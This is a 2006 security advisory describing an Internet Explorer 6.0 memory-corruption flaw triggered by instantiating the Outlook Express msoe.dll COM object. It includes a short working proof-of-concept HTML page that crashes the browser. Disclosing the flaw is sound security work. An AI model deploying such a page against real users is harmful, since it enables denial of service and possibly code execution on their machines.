Advisory ID:
XSec-06-04
Advisory Name:
Internet Explorer (msoe.dll) COM Object Instantiation Vulnerability
Release Date:
08/15/2006
Tested on:
Internet Explorer 6.0 SP1 on Microsoft Windows 2000 SP4 / XP SP2 CN
Affected version:
Internet Explorer 6.0
Author:
nop <nop#xsec.org>
http://www.xsec.org
Overview:
A vulnerability has been found in Internet Explorer 6.0. When Internet Explorer tries to instantiate the msoe.dll (OutLook) COM object as an ActiveX control, it may corrupt system memory in such a way that an attacker may DoS and possibly could execute arbitrary code.
Exploit:
=============== msoe.dll.htm start ================
<!--
// Internet Explorer (msoe.dll) COM Object Instantiation Vulnerability
// tested: 2000SP4/XPSP2 CN
// http://www.xsec.org
// nop (nop#xsec.org)
// CLSID: {233A9694-667E-11d1-9DFB-006097D50408}
// Info: Outlook Express Address Book
// ProgID: OutlookExpress.AddressBook.1
// InprocServer32: %ProgramFiles%\Outlook Express\msoe.dll
--!>
<html><body>
<object classid="CLSID:{233A9694-667E-11d1-9DFB-006097D50408}" ></object>
</body></html>
=============== msoe.dll.htm end ==================
Link:
http://www.xsec.org/index.php?module=releases&act=view&type=1&id=10
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